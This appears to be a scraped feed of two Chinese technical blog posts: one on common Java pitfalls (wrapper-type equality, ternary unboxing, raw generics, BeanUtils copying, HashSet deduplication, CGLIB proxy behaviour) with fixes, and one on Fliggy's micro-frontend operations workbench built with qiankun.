    中国有句老话叫"事不过三",指一个人犯了同样的错误,一次两次还可以原谅,再多就不可原谅了。写代码也是如此,同一个代码“坑”,踩第一次叫"长了经验",踩第二次叫"加深印象",踩第三次叫"不长记性",踩三次以上就叫"不可救药"。在本文中,笔者总结了一些 Java 坑,描述了问题现象,进行了问题分析,给出了避坑方法。希望大家在日常工作中,遇到了这类 Java 坑,能够提前避让开来。

    1 对象比较方法

    JDK 1.7 提供的 Objects.equals 方法,非常方便地实现了对象的比较,有效地避免了繁琐的空指针检查。

    问题现象

    在 JDK1.7 之前,在判断一个短整型、整型、长整型包装数据类型与常量是否相等时,我们一般这样写:

    Short shortValue = (short)12345;
    System.out.println(shortValue == 12345); // true
    Integer intValue = 12345;
    System.out.println(intValue == 12345); // true
    Long longValue = 12345L;
    System.out.println(longValue == 12345); // true

    从 JDK1.7 之后,提供了 Objects.equals 方法,并推荐使用函数式编程,更改代码如下:

    Short shortValue = (short)12345;
    System.out.println(Objects.equals(shortValue, 12345)); // false
    Integer intValue = 12345;
    System.out.println(Objects.equals(intValue, 12345)); // true
    Long longValue = 12345L;
    System.out.println(Objects.equals(longValue, 12345)); // false

    为什么直接把 == 替换为 Objects.equals 方法就会导致输出结果不一样?

    问题分析

    通过反编译第一段代码,我们得到语句 System.out.println(shortValue == 12345); 的字节码指令如下:

    getstatic java.lang.System.out : java.io.PrintStream [22]
    aload_1 [shortValue]
    invokevirtual java.lang.Short.shortValue() : short [28]
    sipush 12345
    if_icmpne 24
    iconst_1
    goto 25
    iconst_0
    invokevirtual java.io.PrintStream.println(boolean) : void [32]

    原来,编译器会判断包装数据类型对应的基本数据类型,并采用这个基本数据类型的指令进行比较(比如上面字节码指令中的 sipush 和 if_icmpne 等),相当于编译器自动对常量进行了数据类型的强制转化。

    为什么采用 Objects.equals 方法后,编译器不自动对常量进行数据类型的强制转化?通过反编译第二段代码,我们得到语句 System.out.println(Objects.equals(shortValue, 12345)); 的字节码指令如下:

    getstatic java.lang.System.out : java.io.PrintStream [22]
    aload_1 [shortValue]
    sipush 12345
    invokestatic java.lang.Integer.valueOf(int) : java.lang.Integer [28]
      invokestatic java.util.Objects.equals(java.lang.Object, java.lang.Object) : boolean [33]
    invokevirtual java.io.PrintStream.println(boolean) : void [39]

    原来,编译器根据字面意思,认为常量 12345 默认基本数据类型是 int,所以会自动转化为包装数据类型 Integer。

    在 Java 语言中,整数的默认数据类型是 int,小数的默认数据类型是 double。

    通过分析 Objects.equals 方法的源代码可知:语句 System.out.println(Objects.equals(shortValue, 12345)),因为 Objects.equals 的两个参数对象类型不一致,一个是包装数据类型 Short,另一个是包装数据类型 Integer,所以最终的比较结果必然是false;而语句 System.out.println(Objects.equals(intValue, 12345)),因为 Objects.equals 的两个参数对象类型一致,都是包装数据类型 Integer 且取值相同,所以最终的比较结果必然是 true。

    避坑方法

    1)保持良好的编码习惯,避免数据类型的自动转化

    为了避免数据类型自动转化,更科学的写法是直接声明常量为对应的基本数据类型。

    第一段代码可以这样写:

    Short shortValue = (short)12345;
    System.out.println(shortValue == (short)12345); // true
    Integer intValue = 12345;
    System.out.println(intValue == 12345); // true
    Long longValue = 12345L;
    System.out.println(longValue == 12345L); // true

    第二段代码可以这样写:

    Short shortValue = (short)12345;
    System.out.println(Objects.equals(shortValue, (short)12345)); // true
    Integer intValue = 12345;
    System.out.println(Objects.equals(intValue, 12345)); // true
    Long longValue = 12345L;
    System.out.println(Objects.equals(longValue, 12345L)); // true

    2)借助开发工具或插件,及早地发现数据类型不匹配问题

    在 Eclipse 的问题窗口中,我们会看到这样的提示:

    Unlikely argument type for equals(): int seems to be unrelated to Short
    Unlikely argument type for equals(): int seems to be unrelated to Long

    3)进行常规性单元测试,尽量把问题发现在研发阶段

    “勿以善小而不为”,不要因为改动很小就不需要进行单元测试了,往往 Bug 都出现在自己过度自信的代码中。像这种问题,只要进行一次单元测试,是完全可以发现问题的。

    注意:进行必要单元测试,适用于以下所有案例,所以下文不再累述。

    2 三元表达式拆包

    三元表达式是 Java 编码中的一个固定语法格式:

    条件表达式?表达式1:表达式2

    三元表达式的逻辑为:如果条件表达式成立,则执行表达式 1,否则执行表达式 2。

    问题现象

    boolean condition = false;
    Double value1 = 1.0D;
    Double value2 = 2.0D;
    Double value3 = null;
    Double result = condition ? value1 * value2 : value3; // 抛出空指针异常

    当条件表达式 condition 等于 false 时,直接把 Double 对象 value3 赋值给 Double 对象 result,按道理没有任何问题,为什么会抛出空指针异常?

    问题分析

    通过反编译代码,我们得到语句:

    Double result = condition ? value1 * value2 : value3;

    的字节码指令如下:

    iload_1 [condition]
    ifeq 33
    aload_2 [value1]
    invokevirtual java.lang.Double.doubleValue() : double [24]
    aload_3 [value2]
    invokevirtual java.lang.Double.doubleValue() : double [24]
    dmul
    goto 38
    aload 4 [value3]
    invokevirtual java.lang.Double.doubleValue() : double [24]
    invokestatic java.lang.Double.valueOf(double) : java.lang.Double [16]
    astore 5 [result]

    在第 9 行,加载 Double 对象 value 3 到操作数栈中;在第 10 行,调用 Double 对象 value 3 的 doubleValue 方法。这个时候,由于 value 3 是空对象 null,调用 doubleValue 方法必然抛出抛出空指针异常。但是,为什么要把空对象 value 3 转化为基础数据类型 double 呢?

    查阅相关资料,得到三元表达式的类型转化规则:

    1)若两个表达式类型相同,返回值类型为该类型;

    2)若两个表达式类型不同,但类型不可转换,返回值类型为 Object 类型;

    3)若两个表达式类型不同,但类型可以转化,先把包装数据类型转化为基本数据类型,然后按照基本数据类型的转换规则 (byte < short(char)< int < long < float < double) 来转化,返回值类型为优先级最高的基本数据类型。

    根据规则分析,表达式 1(value1 * value2)的类型为基础数据类型 double,表达式 2(value 3)的类型为包装数据类型 Double,根据三元表达式的类型转化规则判断,最终的表达式类型为基础数据类型 double。所以,当条件表达式 condition 为 false 时,需要把空 Double 对象 value 3 转化为基础数据类型 double,于是就调用了 value 3 的 doubleValue 方法进行拆包,当然会抛出空指针异常。

    避坑方法

    1)尽量避免使用三元表达式,可以采用 if-else 语句代替

    如果三元表达式中有包装数据类型的算术计算,可以考虑利用 if-else 语句代替。改写代码如下:

    if (condition) {
      result = value1 * value2;
    } else {
      result = value3;
    }

    2)尽量使用基本数据类型,避免包装数据类型的拆装包

    如果在三元表达式中有算术计算,尽量使用基本数据类型,避免包装数据类型的拆装包。改写代码如下:

    boolean condition = false;
    double value1 = 1.0D;
    double value2 = 2.0D;
    double value3 = 3.0D;
    double result = condition ? value1 * value2 : value3;

    3 泛型对象赋值

    Java 泛型是 JDK 1.5 中引入的一个新特性,其本质是参数化类型,即把数据类型做为一个参数使用。

    问题现象

    在做用户数据分页查询时,因为笔误编写了如下代码:

    1)PageDataVO.java

    /** 分页数据VO类 */
    @Getter
    @Setter
    @ToString
    @NoArgsConstructor
    @AllArgsConstructor
    public class PageDataVO<T> {
      /** 总共数量 */
      private Long totalCount;
      /** 数据列表 */
      private List<T> dataList;
    }

    2)UserDAO.java

    /** 用户DAO接口 */
    @Mapper
    public interface UserDAO {
      /** 统计用户数量 */
      public Long countUser(@Param("query") UserQueryVO query);
      /** 查询用户信息 */
      public List<UserDO> queryUser(@Param("query") UserQueryVO query);}

    3)UserService.java

    /** 用户服务类 */@Service
    public class UserService {
      /** 用户DAO */
      @Autowired
      private UserDAO userDAO;
      /** 查询用户信息 */
      public PageDataVO<UserVO> queryUser(UserQueryVO query) {     List<UserDO> dataList = null;
        Long totalCount = userDAO.countUser(query);
        if (Objects.nonNull(totalCount) && totalCount.compareTo(0L) > 0) {
          dataList = userDAO.queryUser(query);
        }
        return new PageDataVO(totalCount, dataList);
      }
    }

    以上代码没有任何编译问题,但是却把 UserDO 中一些涉密字段返回给前端。细心的读者可能已经发现了,在 UserService 类的 queryUser 方法的语句 return new PageDataVO(totalCount, dataList); 中,我们把 List 对象 dataList 赋值给了 PageDataVO 的 List 字段 dataList。

    问题是:为什么开发工具不报编译错误啦?

    问题分析

    由于历史原因,参数化类型和原始类型需要兼容。我们以 ArrayList 举例子,来看看如何兼容的。

    以前的写法:

    ArrayList list = new ArrayList();

    现在的写法:

    ArrayList<String> list = new ArrayList<String>();

    考虑到与以前的代码兼容,各种对象引用之间传值,必然会出现以下的情况:

    // 第一种情况
    ArrayList list1 = new ArrayList<String>();
    // 第二种情况
    ArrayList<String> list2 = new ArrayList();

    所以,Java 编译器对以上两种类型进行了兼容,不会出现编译错误,但会出现编译告警。但是,我的开发工具在编译时真没出现过告警。

    再来分析我们遇到的问题,实际上同时命中了两种情况:

    1)把 List 对象赋值给 List,命中了第一种情况;

    2)把 PageDataVO 对象赋值给 PageDataVO,命中了第二种情况。

    最终的效果就是:我们神奇地把 List 对象赋值给了 List。

    问题的根源就是:我们在初始化 PageDataVO 对象时,没有要求强制进行类型检查。

    避坑方法

    1)在初始化泛型对象时,推荐使用 diamond 语法

    在《 Java 开发手册》中,有这么一条推荐规则:

    【推荐】集合泛型定义时,在 JDK7 及以上,使用 diamond 语法或全省略。

    说明:菱形泛型,即 diamond,直接使用<>来指代前边已经指定的类型。

    正例:

    // <> diamond 方式
    HashMap<String, String> userCache = new HashMap<>(16);
    // 全省略方式ArrayList<User> users = new ArrayList(10);

    其实,初始化泛型对象时,全省略是不推荐的。这样会避免类型检查,从而造成上面的问题。

    在初始化泛型对象时,推荐使用 diamond 语法,代码如下:

    return new PageDataVO<>(totalCount, dataList);

    现在,在 Eclipse 的问题窗口中,我们会看到这样的错误:

    Cannot infer type arguments for PageDataVO<>

    于是,我们就知道忘记把 List 对象转化为 List 对象了。

    4 泛型属性拷贝

    Spring 的 BeanUtils.copyProperties 方法,是一个很好用的属性拷贝工具方法。

    问题现象

    根据数据库开发规范,数据库表格必须包含 id,gmt_create,gmt_modified 三个字段。其中,id 这个字段,可能根据数据量不同,采用 int 或 long 类型。

    首先,定义了一个 BaseDO 基类:

    /** 基础DO类 */
    @Getter
    @Setter
    @ToString
    public class BaseDO<T> {
      private T id;
      private Date gmtCreate;
      private Date gmtModified;}

    针对 user 表,定义了一个 UserDO 类:

    /** 用户DO */
    @Getter
    @Setter
    @ToString
    public static class UserDO extends BaseDO<Long> {    
      private String name;
      private String description;
    }

    对于查询接口,定义了一个 UserVO 类:

    /** 用户VO类 */
    @Getter
    @Setter
    @ToString
    public static class UserVO {
        private Long id;
        private String name;
        private String description;
    }

    实现查询用户服务接口,实现代码如下:

    /** 用户服务类 */
    @Service
    public class UserService {      
    
      /** 用户DAO */      
      @Autowired      
      private UserDAO userDAO;
    
        /** 查询用户 */      
        public List<UserVO> queryUser(UserQueryVO query) {            
          // 查询用户信息            
          List<UserDO> userDOList = userDAO.queryUser(query);            
          if (CollectionUtils.isEmpty()) {                  
              return Collections.emptyList();   
              }
          
           // 转化用户列表          
           List<UserVO> userVOList = new ArrayList<>(userDOList.size());
               for (UserDO userDO : userDOList) {                
                 UserVO userVO = new UserVO();            
                 BeanUtils.copyProperties(userDO, userVO);            
                 userVOList.add(userVO);            
            }
    
           // 返回用户列表
           return userVOList;      
         }
    }

    通过测试,我们会发现一个问题——调用查询用户服务接口,用户 ID 的值并没有返回。

    [{"description":"This is a tester.","name":"tester"},...]

    问题分析

    通过 Debug 模式运行,进入到 BeanUtils.copyProperties 工具方法内部,得到以下内容:

    image.png

    原来,UserDO 类的 getId 方法返回类型不是 Long 类型,而是被泛型还原成了 Object 类型。而下面的 ClassUtils.isAssignable 工具方法,判断是否能够把 Object 类型赋值给 Long 类型,当然会返回false导致不能进行属性拷贝。

    为什么作者不考虑"先获取属性值,再判断能否赋值”?建议代码如下:

    Object value = readMethod.invoke(source);
    if (Objects.nonNull(value) && 
    ClassUtils.isAssignable(writeMethod.getParameterTypes()[0], value.getClass())) {     
      ... // 赋值相关代码
    }

    避坑方法

    1)不要盲目地相信第三方工具包,任何工具包都有可能存在问题

    在 Java 中,存在很多第三方工具包,比如:Apache 的 commons-lang3、commons-collections,Google 的 guava……都是很好用的第三方工具包。但是,不要盲目地相信第三方工具包,任何工具包都有可能存在问题。

    2)如果需要拷贝的属性较少,可以手动编码进行属性拷贝

    用 BeanUtils.copyProperties 反射拷贝属性,主要优点是节省了代码量,主要缺点是导致程序性能下降。所以,如果需要拷贝的属性较少,可以手动编码进行属性拷贝。

    5 Set 对象排重

    在 Java 语言中,Set 数据结构可以用于对象排重,常见的 Set 类有 HashSet、LinkedHashSet 等。

    问题现象

    编写了一个城市辅助类,从 CSV 文件中读取城市数据:

    /** 城市辅助类 */
    @Slf4j
    public class CityHelper {
        /** 读取城市 */
        public static Collection<City> readCities(String fileName) {
            try (FileInputStream stream = new FileInputStream(fileName);
                InputStreamReader reader = new InputStreamReader(stream, "GBK");
                CSVParser parser = new CSVParser(reader, CSVFormat.DEFAULT.withHeader())) {
                Set<City> citySet = new HashSet<>(1024);
                Iterator<CSVRecord> iterator = parser.iterator();
                while (iterator.hasNext()) {
                    citySet.add(parseCity(iterator.next()));
                }
                return citySet;
            } catch (IOException e) {
                log.warn("读取所有城市异常", e);
            }
            return Collections.emptyList();
        }
    
        /** 解析城市 */
        private static City parseCity(CSVRecord record) {
            City city = new City();
            city.setCode(record.get(0));
            city.setName(record.get(1));
            return city;
        }
    
        /** 城市类 */
        @Getter
        @Setter
        @ToString
        private static class City {
            /** 城市编码 */
            private String code;
            /** 城市名称 */
            private String name;
        }
    }

    代码中使用 HashSet 数据结构,目的是为了避免城市数据重复,对读取的城市数据进行强制排重。

    当输入文件内容如下时:

    编码,名称
    010,北京
    020,广州
    010,北京

    解析后的 JSON 结果如下:

    [{"code":"010","name":"北京"},{"code":"020","name":"广州"},{"code":"010","name":"北京"}]

    但是,并没有对城市“北京”进行排重。

    问题分析

    当向集合 Set 中增加对象时,首先集合计算要增加对象的 hashCode,根据该值来得到一个位置用来存放当前对象。如在该位置没有一个对象存在的话,那么集合 Set 认为该对象在集合中不存在,直接增加进去。如果在该位置有一个对象存在的话,接着将准备增加到集合中的对象与该位置上的对象进行 equals 方法比较:如果该 equals 方法返回 false,那么集合认为集合中不存在该对象,就把该对象放在这个对象之后;如果 equals 方法返回 true,那么就认为集合中已经存在该对象了,就不会再将该对象增加到集合中了。所以,在哈希表中判断两个元素是否重复要使用到 hashCode 方法和 equals 方法。hashCode 方法决定数据在表中的存储位置,而 equals 方法判断表中是否存在相同的数据。

    分析上面的问题,由于没有重写 City 类的 hashCode 方法和 equals 方法,就会采用 Object 类的 hashCode 方法和 equals 方法。其实现如下:

    public native int hashCode();
    public boolean equals(Object obj) {
        return (this == obj);
    }

    可以看出:Object 类的 hashCode 方法是一个本地方法,返回的是对象地址;Object 类的 equals 方法只比较对象是否相等。所以,对于两条完全一样的北京数据,由于在解析时初始化了不同的 City 对象,导致 hashCode 方法和 equals 方法值都不一样,必然被 Set 认为是不同的对象,所以没有进行排重。

    那么,我们就重写把 City 类的 hashCode 方法和 equals 方法,代码如下:

    /** 城市类 */
    @Getter
    @Setter
    @ToString
    private static class City {
        /** 城市编码 */
        private String code;
        /** 城市名称 */
        private String name;
    
        /** 判断相等 */
        @Override
        public boolean equals(Object obj) {
            if (obj == this) {
                return true;
            }
            if (Objects.isNull(obj)) {
                return false;
            }
            if (obj.getClass() != this.getClass()) {
                return false;
            }
            return Objects.equals(this.code, ((City)obj).code);
        }
    
        /** 哈希编码 */
        @Override
        public int hashCode() {
            return Objects.hashCode(this.code);
        }
    }

    重新支持测试程序,解析后的 JSON 结果如下:

    [{"code":"010","name":"北京"},{"code":"020","name":"广州"}]

    结果正确,已经对城市“北京”进行排重。

    避坑方法

    1)当确定数据唯一时,可以使用 List 代替 Set

    当确定解析的城市数据唯一时,就没有必要进行排重操作,可以直接使用 List 来存储。

    List<City> citySet = new ArrayList<>(1024);
    Iterator<CSVRecord> iterator = parser.iterator();
    while (iterator.hasNext()) {
        citySet.add(parseCity(iterator.next()));
    }
    return citySet;

    2)当确定数据不唯一时,可以使用 Map 代替 Set

    当确定解析的城市数据不唯一时,需要安装城市名称进行排重操作,可以直接使用 Map 进行存储。为什么不建议实现 City 类的 hashCode 方法,再采用 HashSet 来实现排重呢?首先,不希望把业务逻辑放在模型 DO 类中;其次,把排重字段放在代码中,便于代码的阅读、理解和维护。

    Map<String, City> cityMap = new HashMap<>(1024);
    Iterator<CSVRecord> iterator = parser.iterator();
    while (iterator.hasNext()) {
        City city = parseCity(iterator.next());
        cityMap.put(city.getCode(), city);
    }
    return cityMap.values();

    3)遵循 Java 语言规范,重写 hashCode 方法和 equals 方法

    不重写 hashCode 方法和 equals 方法的自定义类不应该在 Set 中使用。

    6 公有方法代理

    SpringCGLIB 代理生成的代理类是一个继承被代理类,通过重写被代理类中的非 final 的方法实现代理。所以,SpringCGLIB 代理的类不能是 final 类,代理的方法也不能是 final 方法,这是由继承机制限制的。

    问题现象

    这里举例一个简单的例子,只有超级用户才有删除公司的权限,并且所有服务函数被 AOP 拦截处理异常。例子代码如下:

    1)UserService.java

    /** 用户服务类 */
    @Service
    public class UserService {
        /** 超级用户 */
        private User superUser;
    
        /** 设置超级用户 */
        public void setSuperUser(User superUser) {
            this.superUser = superUser;
        }
    
        /** 获取超级用户 */
        public final User getSuperUser() {
            return this.superUser;
        }
    }

    2)CompanyService.java

    /** 公司服务类 */
    @Service
    public class CompanyService {
        /** 公司DAO */
        @Autowired
        private CompanyDAO companyDAO;
        /** 用户服务 */
        @Autowired
        private UserService userService;
    
        /** 删除公司 */
        public void deleteCompany(Long companyId, Long operatorId) {
            // 设置超级用户
            userService.setSuperUser(new User(0L, "admin", "超级用户"));
    
            // 验证超级用户
            if (!Objects.equals(operatorId, userService.getSuperUser().getId())) {
                throw new ExampleException("只有超级用户才能删除公司");
            }
    
            // 删除公司信息
            companyDAO.delete(companyId, operatorId);
        }
    }

    当我们调用 CompanyService 的 deleteCompany 方法时,居然也抛出空指针异常 (NullPointerException),因为调用 UserService 类的 getSuperUser 方法获取的超级用户为 null。但是,我们在 CompanyService 类的 deleteCompany 方法中,每次都通过 UserService 类的 setSuperUser 方法强制指定了超级用户,按道理通过 UserService 类的 getSuperUser 方法获取到的超级用户不应该为 null。其实,这个问题也是由 AOP 代理导致的。

    问题分析

    使用 SpringCGLIB 代理类时,Spring 会创建一个名为 UserService$$EnhancerBySpringCGLIB$$???????? 的代理类。反编译这个代理类,得到以下主要代码:

    public class UserService$$EnhancerBySpringCGLIB$$a2c3b345 extends UserService implements SpringProxy, Advised, Factory {
        ......
        public final void setSuperUser(User var1) {
            MethodInterceptor var10000 = this.CGLIB$CALLBACK_0;
            if (var10000 == null) {
                CGLIB$BIND_CALLBACKS(this);
                var10000 = this.CGLIB$CALLBACK_0;
            }
    
            if (var10000 != null) {
                var10000.intercept(this, CGLIB$setSuperUser$0$Method, new Object[]{var1}, CGLIB$setSuperUser$0$Proxy);
            } else {
                super.setSuperUser(var1);
            }
        }
        ......
    }

    可以看出,这个代理类继承了 UserService 类,只代理了 setSuperUser 方法,但是没有代理 getSuperUser 方法。所以,当我们调用 setSuperUser 方法时,设置的是原始对象实例的 superUser 字段值;而当我们调用 getSuperUser 方法时,获取的是代理对象实例的 superUser 字段值。如果把这两个方法的 final 修饰符互换,同样存在获取超级用户为 null 的问题。

    避坑方法

    1)严格遵循 CGLIB 代理规范,被代理的类和方法不要加 final 修饰符

    严格遵循 CGLIB 代理规范,被代理的类和方法不要加 final 修饰符,避免动态代理操作对象实例不同(原始对象实例和代理对象实例),从而导致数据不一致或空指针问题。

    2)缩小 CGLIB 代理类的范围,能不用被代理的类就不要被代理

    缩小 CGLIB 代理类的范围,能不用被代理的类就不要被代理,即可以节省内存开销,又可以提高函数调用效率。

    7 公有字段代理

    在 fastjson 强制升级到 1.2.60 时踩过一个坑,作者为了开发快速,在 ParseConfig 中定义了:

    public class ParseConfig {
        public final SymbolTable symbolTable = new SymbolTable(4096);
        ......
    }

    在我们的项目中继承了该类,同时又被 AOP 动态代理了,于是一行代码引起了一场“血案”。

    问题现象

    仍然使用上章的例子,但是把获取、设置方法删除,定义了一个公有字段。例子代码如下:

    1)UserService.java

    /** 用户服务类 */
    @Service
    public class UserService {
        /** 超级用户 */
        public final User superUser = new User(0L, "admin", "超级用户");
        ......
    }

    2)CompanyService.java

    /** 公司服务类 */
    @Service
    public class CompanyService {
        /** 公司DAO */
        @Autowired
        private CompanyDAO companyDAO;
        /** 用户服务 */
        @Autowired
        private UserService userService;
    
        /** 删除公司 */
        public void deleteCompany(Long companyId, Long operatorId) {
            // 验证超级用户
            if (!Objects.equals(operatorId, userService.superUser.getId())) {
                throw new ExampleException("只有超级用户才能删除公司");
            }
    
            // 删除公司信息
            companyDAO.delete(companyId, operatorId);
        }
    }

    当我们调用 CompanyService 的 deleteCompany 方法时,居然抛出空指针异常 (NullPointerException)。经过调试打印,发现是 UserService 的 superUser 变量为 null。如果把代理删除,就不会出现空指针异常,说明这个问题是由 AOP 代理导致的。

    问题分析

    使用 SpringCGLIB 代理类时,Spring 会创建一个名为 UserService$$EnhancerBySpringCGLIB$$???????? 的代理类。这个代理类继承了 UserService 类,并覆盖了 UserService 类中的所有非 final 的 public 的方法。但是,这个代理类并不调用 super 基类的方法;相反,它会创建的一个成员 userService 并指向原始的 UserService 类对象实例。现在,内存中存在两个对象实例:一个是原始的 UserService 对象实例,另一个指向 UserService 的代理对象实例。这个代理类只是一个虚拟代理,它继承了 UserService 类,并且具有与 UserService 相同的字段,但是它从来不会去初始化和使用它们。所以,一但通过这个代理类对象实例获取公有成员变量时,将返回一个默认值 null。

    image.png

    避坑方法

    1)当确定字段不可变时,可以定义为公有静态常量

    当确定字段不可变时,可以定义为公有静态常量,并用类名称 + 字段名称访问。类名称 + 字段名称访问公有静态常量,与类实例的动态代理无关。

    2)当确定字段不可变时,可以定义为私有成员变量

    当确定字段不可变时,可以定义为私有成员变量,提供一个公有 Getter 方法获取该变量值。当该类实例被动态代理时,代理方法会调用被代理的 Getter 方法,从而返回被代理类的成员变量值。

    3)遵循 JavaBean 编码规范,不要定义公有成员变量

    遵循 JavaBean 编码规范,不要定义公有成员变量。JavaBean 规范如下:

    • JavaBean 类必须是一个公共类,并将其访问属性设置为 public,如:public class User{......}
    • JavaBean 类必须有一个空的构造函数:类中必须有一个不带参数的公用构造器
    • 一个 JavaBean 类不应有公共实例变量,类变量都为 private,如:private Integer id;
    • 属性应该通过一组 getter / setter 方法来访问

    后记

    最后,推荐大家阅读一下《Java 开发手册》,这本手册让我受益匪浅。只要学习理解了《Java 开发手册》,就能在日常的 Java 开发工作中,避免踩到很多常识性的 Java 坑。

    ]]>
    飞猪微前端实践:统一运营工作台的解决方案 Fri, 02 May 2025 09:39:04 +0800 作者:侑夕

    image.png

    飞猪一体化运营工作台一期工作经过 3 个月的开发终于内部开始使用,期间我们面向运营场景,基于微前端与 SDK 化的一体化集成方案,完成 4 大场景 10 余个平台的接入和配置打通,并对数百处视觉和交互体验进行了优化 ,在后期体验度量和用户反馈跟踪能力接入后,整体已达可用状态。

    借此总结,希望和大伙一起交流下做飞猪微前端运营一体化平台的背景缘由、目标和方案、过程和效果,展望,希望可以给类似场景的同学一些输入,欢迎大家一起交流。

    背景缘由

    伴随飞猪业务的发展,我们在近两年为提升运营效率建立了多种场景的运营类平台,可满足运营完成业务诉求。

    image.png

    但随着产品本身业务复杂度在不断提高,只能给运营解决温饱问题,加上各平台需要互投互通诉求逐渐强烈,在此体系下无法给业务带来 1 + 1 > 2 的价值,面临如下急需解决的痛点:

    1. 入口分散导致配置成本高
    2. 平台相互之间没有打通,导致无法有效形成合力
    3. 缺乏上层场景解决方案来形成运营最佳实践

    目标和方案

    为解决痛点,我们启动<环球影城-一体化运营工作台>建设项目,旨在借助新技术探索和升级给运营同学提供更好更高效的运营平台解决方案,一期目标为技术侧的探通,完成工作台框架的搭建,满足多平台场景使用,沉淀一套以现有业务为基础的泛运营平台微前端解决方案。

    基于此我们从实际业务运营配置场景入手,结合现有中后台技术和微前端解决方案,产出如下方案架构图:

    image.png

    过程和效果

    我们做了一个带前后端(Ant Design Pro + Midway)的运营平台主应用,同时设计好整体平台框架包括产品功能和交互,将现有各子运营平台通过微前端方案和主应用打通,后续运营同学只需要进入一个统一平台操作即可。

    点击查看视频

    标泛导购域微前端解决方案

    这一块的方案是运营工作台的技术架构核心部分,需要解决各子应用平台前后端能力可以很简单轻巧地接入到运营主工作台,支持 App 级别隔离与无缝切换的能力。对于前端侧来说需要对子应用注册、路由、资源加载、通信、生命周期、隔离沙箱机制有对应的策略,对于后端侧来说需要解决主子应用之间内网登录权限打通免登、跨域问题、接口请求路径正确、post 接口安全校验这一系列难题。

    微前端是一种类似于微服务的架构,它将微服务的理念应用于浏览器端,即将 Web 应用由单一的单体应用转变为多个小型前端应用聚合为一的应用。

    基于此,前端侧基础方案我们有调研过single-spaice-starkqiankun;single-spa 只解决了应用之间的加载方案,没有考虑其他的周边问题;ice-stark 通过劫持 history 实现应⽤加载,通过规范隔离应⽤稍许不够精细,和现有运营子平台几乎全部为 umi 体系也不太符合;而 qiankun 底层应⽤之间的加载使⽤ single-spa,上层实现样式隔离、js 沙箱、预加载等上层能⼒,同时提供umi-plugin-qiankun来解决 umi 下的快速使用,成为我们前端侧的选择方案。

    在后端侧,我们在运营工作台 Node 侧自建了 Gateway 网关 middleware,底层依赖http-proxy-middleware 能力实现,借用服务端 proxy 转发接口同时在请求上加上 token 来解决接口登录权限以及跨域的问题,同时对于主子应用直接接入会出现内网登录登录权限不通的问题,此处我们使用的 免登授权 的能力,让子应用的登录让主应用本身来提供,这样通过中间网关层配合我们给 qiankun pr 的 Fetch 自定义能力和 Slave Namebase 可解决请求和路由跳转的兼容问题。

    image.png

    方案跑通后,我们在子应用的接入简化上做了很多优化,包括将初次使用理解成本降到最低,目前 主应用只需要分别配置前后端的 conifg 即可,对于子应用假如是使用 antd pro 体系仅半小时即可完成代码改造,额外场景也有对应文档可快速改造,同时不影响现有子应用平台自己的代码和正常使用,后面考虑将子应用接入逻辑整合到管理平台侧,进一步减少接入成本。

    业务组件化 Widget 集成方案

    上述微前端方案用于解决主子应用的接入问题,但是对于一个更完善的一体化系统,还需要打通平台业务 Widget 子应用之间的配置互通。

    比如说飞猪场景的会场里面配置互动玩法,运营在在搭建系统中进行会场搭建投放配置,但是涉及到互动模块配置之前需要到互动平台完成,再通过对应的 id 来关联这两配置,连贯性上很不优雅。

    基于此,我们启动了 Widget 集成子事项,并形成统一开发规范,包括统一的参数定制、回调事件、open api 服务,将基础业务配置能力下沉淀成 Widget SDK,并在业务数据层打通,以便可以达到一体化配置的效果,也即可以满足任一SDK可以插入到任一运营系统中的作用,这样可以很好实现子系统之间一体化配置能力的打通,并逐步开始在起到作用。

    运营平台视觉交互统一和性能优化

    说到中后台的的前端侧展示,大部分场景都没有设计交互同学支持,加上一线研发同学对交互视觉标准的理解不同,导致不少页面的使用体验勉强只能达到能用的状态,距离好看好用还有很大距离。

    包括在性能上,很容易出现资源包很大,接口很慢导致反馈速度不行的问题,都是表面看起来不重要,但是很影响运营同学的开心的使用平台来工作,也不太像一个前端做的平台。

    基于此,我们花了 4 周时间将泛导购侧的所有接入的平台进行产品视觉交互优化统一以及二次Review,同时制定中后台产品定期 Review 的制度,防止让不好用不好看的页面上线。

    同时还有一块用户看不见地方的优化,我们对 antd pro 在微前端体系下的中后台页面沉淀出一套符合当前场景的性能优化方案,包含升级到 antd4、移除多语言、替换 moment、开启 treeShaking、锁版本、按需加载、公共的依赖 externals cdn 方式,累计省去了近 1/3 的资源加载。

    中后台体验度量和用户反馈跟踪

    谈到中后台体系体验和数据度量,之前普遍使用普通数据埋点方式,但是普遍不够完善同时度量深度不够,导致很难去更好的管理。

    通过调研已有方案,我们接入了中后台体验度量解决方案,并沉淀全家桶sdk,一行代码即可解决内网体系下微前端中后台的接入,基于平台访问数据、性能体验、访客画像、错误监控解决方案,后续再借助数据开放能力和运营度量打通,更好的辅助运营提效。

    同时为了更好的收取跟踪用户反馈,包括持续让使用同学给平台提供反馈建议,我们也接入反馈跟踪方案,让项目同学可以第一时间去修复优化。

    共建和反哺

    在做运营工作台的期间,有不少基础能力直接复用的集团和蚂蚁建设的底层基础能力,包括引入微前端架构 qiankun、中后台体验度量方案、用户反馈 跟踪能力的使用,给我们业务平台开发带来了很大的便利性,也很好的诠释了基础设施和上层使用方相辅相成相互促进的关系。

    在使用过程中我们结合我们的业务使用场景给 qiankun 提交累次 3 次 PR,分别用于解决路由 base 前缀、Fetch 支持自定义、清晰使用文档,为了解决 antd icon 的 cdn 抽取我们给其提交 Min File PR;在体验度量使用上也是属于初始天使用户,同时反馈一些使用上面的建议,后续通过抽离度量sdk可一行代码解决内网账号体系下中后台应用的快捷使用;使用 feedback 反馈的时候,帮忙一起解决微前端体系下样式被剔除的问题,包括提供一些使用优化建议落地,包括后续约好的前端技术交流。

    Last But Not Least

    以上即我们这三个月的建设总结,更多的是在运营一体化技术方案上面的探通,以及对现有平台整体的优化,具体真正的一体化运营工作台还需要后面的继续迭代以及更多同学的参与进来,让技术给业务带来更大的差异化的价值。

    目前我们在 Serverless 、微前端运营工作台等方面都有不少建设,欢迎感兴趣的同学邮件联系@侑夕 tw102972@alibaba-inc.com 一起交流。


    福利来了!
    重磅下载!《2020 前端工程师必读手册》

    阿里巴巴前端委员会推荐!覆盖语言框架、前端智能化、微前端、Serverless及工程化 5 大热点前端技术方向、10+ 核心实战的前端手册,解锁前端新方式,挖掘前端新思路,尽在此刻,赶紧来先睹为快!关注 alibabaf2e 微信公众号回复 必读手册 立即获取下载链接。

    image.png
    关注「Alibaba F2E」
    把握阿里巴巴前端新动向


    ]]>
    进群必看!阿里云开发者社区钉钉群宝典 Fri, 02 May 2025 09:39:04 +0800 阿里云开发者社区

